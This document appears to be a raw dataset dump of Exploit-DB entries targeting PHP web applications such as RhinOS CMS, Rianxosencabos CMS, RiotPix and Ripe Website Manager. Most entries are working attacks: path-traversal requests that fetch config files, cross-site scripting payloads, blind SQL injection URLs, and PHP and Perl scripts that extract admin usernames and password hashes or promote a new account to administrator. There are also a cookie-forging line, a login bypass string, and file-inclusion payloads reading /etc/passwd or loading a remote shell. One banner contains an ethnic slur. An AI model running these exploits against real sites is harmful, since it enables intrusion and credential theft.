deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45729
Description: RhinOS CMS 3.x - Arbitrary File Download
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: RhinOS CMS 3.x - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.saltos.org/
# Software Link: https://netix.dl.sourceforge.net/project/rhinos/archived/r1190/RhinOS-en-3.0-1190.win32.exe
# Version: 3.1 r0 / 3.x
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18760

# Users...
# C:/rhinos/demo/admin/php/download.php
#....
#26 $head=0;$main=0;$tail=0;
#27 include("inicio.php");
#28 if(!check_user()) die();
#29 $name=getParam("name");
#30 $file="files/".getParam("file");
#31 $size=getParam("size");
#32 $type=getParam("type");
#33 if(!file_exists($file)) die();
#34 header("Pragma: public");
#35 header("Expires: 0");
#36 header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
#37 header("Content-Type: $type");
#38 header("Content-Length: $size");
#39 header("Content-Disposition: attachment; filename=\"$name\"");
#40 header("Content-Transfer-Encoding: binary");
#41 $fp=fopen($file,"rb");
#42 while(!feof($fp)) echo fread($fp,8192);
#43 fclose($fp);
#44 disconnect();
#....

# POC: 
# 1)
# http://localhost/[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php
# 
GET /[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: remember=0; PHPSESSID=ek24koab445aab70seegi02lh3
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 29 Oct 2018 00:23:54 GMT
Server: Apache/2.2.16 (Win32) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Length: 1771
Content-Disposition: attachment; filename="efe.php"
Content-Transfer-Encoding: binary
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type:
Exploit-DB #29384
Description: RI Blog 1.3 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-05
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/21880/info

RI Blog is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 1.3 is vulnerable; other versions may also be affected.

http://www.example.com/BlogPath/search.asp?q=<script>alert(document.cookie);</script>
Exploit-DB #6513
Description: Rianxosencabos CMS 0.9 - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-09-21
Author: CWH Underground

Exploit:
============================================================
  Rianxosencabos CMS 0.9 Arbitrary Add-Admin Vulnerability
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 21 September 2008
SITE   : cwh.citec.us


###################################################################################
APPLICATION : Rianxosencabos CMS
VERSION     : 0.9
DOWNLOAD    : http://downloads.sourceforge.net/rsccms/rsccms.tar.gz
###################################################################################


--- Add-Admin / Delete-Account Vulnerability ---


-------------
 Description
-------------

    Rianxosencabos CMS 0.9 has Vulnerability to escalate user to administartor's privilege.
That Vulnerable in "http://[Target]/[rsccms_path]/?s=admin&accion=lista" and You can Arbitrary change user's permission or delete user

    This action will give your account can use All Admin Control Panel with Administrative's Privilege or Arbitrary Delete account in website.


--------------
 Exploit code
--------------
[+] Log in with your account, You can register with this URL "http://[Target]/[rsccms_path]/?s=usuarios&accion=registrar"
[+] Go to "http://[Target]/[rsccms_path]/?s=admin&accion=lista"
[+] Now you can Change user permission or delete user account


#####################################################################
 Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
 Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-21]
Exploit-DB #6636
Description: Rianxosencabos CMS 0.9 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-09-30
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Rianxosencabos CMS 0.9 Remote Blind SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

/ Script: Rianxosencabos
/ Version: 0.9
/ File affected: scripts/links.php
/ Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz


ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org

Vuln code:

-----
88:  function visita($id) {
93:  $resultado=$bd->consulta("SELECT direccion, clicks FROM links WHERE id=$id LIMIT 1");
....

112: if ($_GET['id']) {
113: links::visita($_GET['id'])
-----


Proof of Concept:

http://[host]/[cms]/?s=links&id=1 and 1=1 -> True
http://[host]/[cms]/?s=links&id=1 and 1=0 -> False
http://[host]/[cms]/?s=links&id=1 and ascii(substring(@@version,1,1)=52


__END__

# milw0rm.com [2008-09-30]
Exploit-DB #6521
Description: Rianxosencabos CMS 0.9 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-21
Author: Stack

Exploit:
###############################################################################################
[+]   Rianxosencabos CMS 0.9 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack                
[+] Greetz : All my freind               
################################################################################################
---
exploit:
javascript:document.cookie = "usuario=1; path=/"; document.cookie = "pass=1; path=/";

# milw0rm.com [2008-09-21]
Exploit-DB #6546
Description: Rianxosencabos CMS 0.9 - Remote Add Admin
Type: webapps
Platform: php
Date: 2008-09-24
Author: ka0x

Exploit:
#!/usr/bin/perl -w

# Rianxosencabos CMS 0.9 Remote Add Admin Exploit
# Download: http://downloads.sourceforge.net/rsccms/rsccms.tar.gz

# written by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org -

use LWP::UserAgent;

my ($host, $login, $pass, $mail, $user_id) = @ARGV ;

unless($ARGV[4]){
	print "[*] usage: perl $0 <host> <login> <pass> <mail> <user_id>\n";
	print "[*] ex: perl $0 http://localhost/ ka0x 12345 ka0x01[at]gmail.com 2\n";
	exit 1;
}

if ($host !~ /^http:/){ $host = 'http://'.$host; }

my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1") ;
$ua->timeout(10) ;

sub __CREATE {

	my $req = HTTP::Request->new(POST => $host."index.php?s=usuarios&accion=registrar") ;
	$req->content_type('application/x-www-form-urlencoded') ;
	$req->content("reg_login=".$login."&reg_pass=".$pass."&reg_repass=".$pass."&reg_nombre=".$login."&reg_mail=".$mail."&submit_register=Rexistrar") ;

	my $res = $ua->request($req) ;
	my $location = $res->header('Location') ;
	if ($location =~ /Usuario creado/i) {
		print "[+] user added: ".$login ;
		print "\n[+] password: ".$pass, "\n" ;
	}

	else{
		print "[-] Exploit Failed!\n" ;
	}
}

&__CREATE ;

sub __ADMIN {
	my $req = HTTP::Request->new(POST => $host."?s=admin&accion=lista") ;

	$req->content_type('application/x-www-form-urlencoded') ;

	$req->content($user_id."=0&inputOculto=".$user_id) ;

	$ua->request($req) ;
}

&__ADMIN ;


__END__

# milw0rm.com [2008-09-24]
Exploit-DB #3718
Description: RicarGBooK 1.2.1 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-04-12
Author: Dj7xpl

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                       RicarGBooK 1.2.1 

-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Author :

            Dj7xpl / Dj7xpl[at]Yahoo[dot]com

* Type :

            Local File Inclusion Vulnerabilitiy By Cookie

* Download :

            http://ricargbook.adrielmedia.com

-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Vuln Code :       -=-= Header.php =-=-


if (isset($HTTP_COOKIE_VARS["lang"])) {
	$guest_lang = $HTTP_COOKIE_VARS["lang"];
	include ('languages/'.$guest_lang);
} else {
	$guest_lang = $language;
	include ('languages/'.$language);

-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=I=R=A=N=-=-=-=-=-=-=-=-=-=-=-=-=-=-

* Vuln And Example Picture :

            Edit Cookie :

            Server :  http://[Target]			
	    Name   :  lang
	    Value  :  Local File      E.g   :  ../../../../etc/passwd
			
			
	    [X] http://dj7xpl.by.ru/r1.jpg
	    [X] http://dj7xpl.by.ru/r2.jpg
			
-=-=-=-=-=-=-=-=-=-=-=-=D=J=7=X=P=L=-=-=-=-=-=-=-=-=-=-=-=-=-

# Sp Tnx : str0ke

# milw0rm.com [2007-04-12]
Exploit-DB #34990
Description: Ricoh Web Image Monitor 2.03 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-09
Author: thelightcosine

Exploit:
source: https://www.securityfocus.com/bid/44772/info

Ricoh web image monitor is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Ricoh web image monitor 2.03 is vulnerable; other versions may also be affected.

GET /?--></script><script>alert(51494)</script> HTTP/1.1
Exploit-DB #5946
Description: Riddles Complete Website 1.2.1 - 'riddleid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-26
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by :  Cyb3r-1sT

<<!>> C0ntact  : cyb3r-1st [at] hotmail.com ..$<->$.. t3tto0 [at] yahoo.com
                   
<<!>> Groups   : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script    :  Riddles Website 
 
<<->> Demo site : www.easysitenetwork.com/sites/riddles/


=======================================================
++++++++++++++++ pWning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : N0-WaY

<<->> Exploit :

 <!> for admin inf0 :: 

   >>>> www.site.me/patch/riddle.php?riddleid=-999999+union+select+concat(login,0x3a,password),1,2,3,4,5,6+from+admin_login/*


 <!> for members inf0 ::

   >>>> www.site.me/patch/riddle.php?riddleid=-999999+union+select+concat(login,0x3a,password),1,2,3,4,5,6+from+users/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker$anaconda-ksa $ sirus $ crazy-x 
                            
                      :: abo-najm $ br1ght-dark $ spid3r-net $ hacker-b0y 

<<->> InjEctOr5 TeaM   


<<->> All muslims

# milw0rm.com [2008-06-26]
Exploit-DB #3403
Description: Rigter Portal System (RPS) 6.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-03-04
Author: s0cratex

Exploit:
<?
//RPS 6.2 SQL Injection Exploit
//http://www.rps-project.com/

//Need magic_quotes_gpc = Off;
//by s0cratex
//Contact: s0cratex[at]hotmail[dot]com

//Salu2: rgod, 0pt1x 'n mechas.

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$host = "localhost"; $path="/rps"; $id=1;

echo "RPS 6.2 SQL Injection exploit\n-----------------------------\n\n";
echo "Username: ";
$j=1;$result="";
while(!strstr($result,chr(0))){
for($x=0;$x<255;$x++){
$cnx = fsockopen($host,80);
fwrite($cnx, "GET ".$path."/?x=ver_descarga&e=mostrar&categoria=-1'/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$x."),1,0))FROM/**/rps_admin/**/WHERE/**/id=".$id.")/* HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while(!feof($cnx)){ if(ereg("Descargar", fgets($cnx))){ $result .= chr($x);
echo chr($x); break; } }
fclose($cnx);
if ($x==255) {
die("\n Try again...");
}
}
$j++;
}
echo "\n";
echo "Password: ";
$a=1;$result2="";
while(!strstr($result2,chr(0))){
for($i=0;$i<255;$i++){
$cnx2 = fsockopen($host,80);
fwrite($cnx2, "GET ".$path."/?x=ver_descarga&e=mostrar&categoria=-1'/**/OR/**/1=(SELECT/**/(IF((ASCII(SUBSTRING(password,".$a.",1))=".$i."),1,0))FROM/**/rps_admin/**/WHERE/**/id=".$id.")/* HTTP/1.0\r\nHost: ".$host."\r\n\r\n");
while(!feof($cnx2)){ if(ereg("Descargar", fgets($cnx2))){ $result2 .=
chr($i); echo chr($i); break; } }
fclose($cnx2);
if ($i==255) {
die("\n Try again...");
}
}
$a++;
}
echo "\nThe password has been encrypted with crypt() function...\n-----------------------------\n  by s0cratex";
?>

# milw0rm.com [2007-03-04]
Exploit-DB #47585
Description: rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection
Type: webapps
Platform: php
Date: 2019-11-05
Author: cakes

Exploit:
# Exploit Title: rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection
# Date: 2019-11-01
# Exploit Author: Cakes
# Vendor Homepage: https://github.com/rimbalinux/AhadPOS
# Software Link: https://github.com/rimbalinux/AhadPOS.git
# Version: 1.11
# Tested on: CentOS 7
# CVE: N/A

# PoC for time-based and boolean based blind SQL injection

# Parameter: alamatCustomer (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    
    
Payload: namaCustomer=test&alamatCustomer=test'||(SELECT 0x4b686f74 FROM DUAL WHERE 8368=8368 AND (SELECT 9520 FROM (SELECT(SLEEP(5)))gtad))||'&telpCustomer=12312345&keterangan=tester

# Parameter: barcode (POST)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause
# Vector: OR [INFERENCE]    
    
Payload: barcode=-3529' OR 4127=4127-- HRDC&jumBarang=1&btnTambah=(t) Tambah
    
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])    
    
Payload: barcode=123' AND (SELECT 1256 FROM (SELECT(SLEEP(5)))Nhnk)-- zXsC&jumBarang=1&btnTambah=(t) Tambah
Exploit-DB #7679
Description: RiotPix 0.61 - 'forumid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-06
Author: cOndemned

Exploit:
<?php

/*

	$Id: riotpix-0.61.txt,v 0.1 2009/01/06 03:47:30 cOndemned Exp $

	RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit
	Bug found && Exploited by cOndemned

	Download :
		
		http://www.riotpix.com/download/riotpix0_61.zip


	Description :
		
		It's just simple Blind SQL Injection exploit that gets
		password hash of given user. Code is really simple - 
		without proxy, or error handling, but i don't think it is
		important, as long as the RiotPix isn't famous script...
		
	-------------------------------------------------------------------	

	Greetz: 
	
		ZaBeaTy, str0ke, sid.psycho & TWT, wojtus0007, 0in, vCore


		"...What is left to die for, what is left to give..."

*/


	echo "\n[~] RiotPix <= 0.61 (forumid) Blind SQL Injection Exploit";
	echo "\n[~] Bug found && Exploited by cOndemned\n";

	if($argc != 4)
	{
		printf("[!] Usage: php %s <target_size> <username> <topic_id>\n\n", $argv[0]);
		exit;
	}

	list($sploit, $target, $username, $topicid) = $argv;

	$charsArr = array(48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102);
	$pos = 1;

	echo "[~] Password Hash : ";

	while($pos != 33)
	{
		for($i = 0; $i <= count($charsArr); $i++)
		{
			$query = "/read.php?forumid=$topicid+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='$username'),$pos,1)=CHAR({$charsArr[$i]})--";
			$source = file_get_contents($target . $query);
			
			if(!eregi('existent', $source))  
			{
				printf("%s", chr($charsArr[$i]));
				$pos++;
				break;
			}
			flush(STDOUT);
		}
	}

	echo "\n[~] Done\n\n";

?>

# milw0rm.com [2009-01-06]
Exploit-DB #7682
Description: RiotPix 0.61 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-01-06
Author: ZoRLu

Exploit:
[~] RiotPix <= 0.61 Bypass
[~]
[~]----------------------------------------------------------
[~] Discovered By: ZoRLu  msn: trt-turk@hotmail.com
[~]
[~] Date: 06.01.09
[~]
[~] Home: z0rlu.blogspot.com / www.experl.com 
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] EN ONEMLi N0T: demolarI hackleyen top olsun top ( if you hack demo you will be ball xD )
[~] -----------------------------------------------------------

for demo:

username: logoz ' or '

pass: dont write anything

http://www.riotpix.com/board/

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & Scriptorium & h4ckinger & Cyber_Thief & BLaSTeR & Ahmet and all experl.com users :)
[~]
[~] yildirimordulari.org  &  experl.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-01-06]
Exploit-DB #4129
Description: Ripe Website Manager (CMS) 0.8.9 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-30
Author: BlackNDoor

Exploit:
#Author::   BlackNDoor | blackndoor@learntohell.net
#Homepage:: www.learntohell.net
#
#Script::   Ripe Wepsite Manager
#Version::  <= v0.8.9
#Type::     Remote File Include
#
#Source::   http://sourceforge.net/project/showfiles.php?group_id=194532

#Bug::
   -> Files:

      /admin/includes/author_panel_header.php
      /admin/includes/admin_header.php

   -> vulncode:

      <?php
         ...
         define("LEVEL", $level); // directory level
         
         // includes
           require(LEVEL.'../includes/config.php');
         ...
      ?>

#Exploit::

   http://www.site.com/[path to ripe]/admin/includes/author_panel_header.php?level=shell.txt?
   http://www.site.com/[path to ripe]/admin/includes/admin_header.php?level=shell.txt?

#thanks:: str0ke

# milw0rm.com [2007-06-30]
Exploit-DB #29877
Description: Ripe Website Manager 0.8.4 - '/contact/index.php?ripeformpost' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-23
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/23597/info


<html>
<head><title>Ripe Website Manager (<= 0.8.4) - Cross-Site Scripting and SQL Injection Exploit</title><body>

<center><br><br><font size=4>Ripe Website Manager (<= 0.8.4) - Cross-Site Scripting and SQL Injection Exploit</font><br><font size=3>discovered by <a
href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=%22Powered+by+Ripe+Website+Manager>"Powered by Ripe
Website Manager"</a></font><br>

<br><br>
<form action="http://www.example.com/path/contact/index.php" method="post">
<input name="ripeformpost" size=75 value="<"<<script>alert(1);</script>">
<input type=submit value="Execute Attack" class="button">
</form>
Exploit-DB #30518
Description: Ripe Website Manager 0.8.x - '/pages/delete_page.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-08-22
Author: Nagendra Kumar G

Exploit:
source: https://www.securityfocus.com/bid/25406/info

Ripe Website Manager is prone to multiple input-validation vulnerabilities, including HTML- and SQL-injection issues.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect versions prior to Ripe Website Manager 0.8.10. 

http://example.com/admin/pages/delete_page.php?id=0 or 1=1
Exploit-DB #35498
Description: Ripe Website Manager 1.1 - Cross-Site Scripting / Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-03-24
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47017/info

Ripe Website Manager is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ripe Website Manager 1.1 is vulnerable; other versions may also be affected. 

Ripe Website Manager is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Ripe Website Manager 1.1 is vulnerable; other versions may also be affected.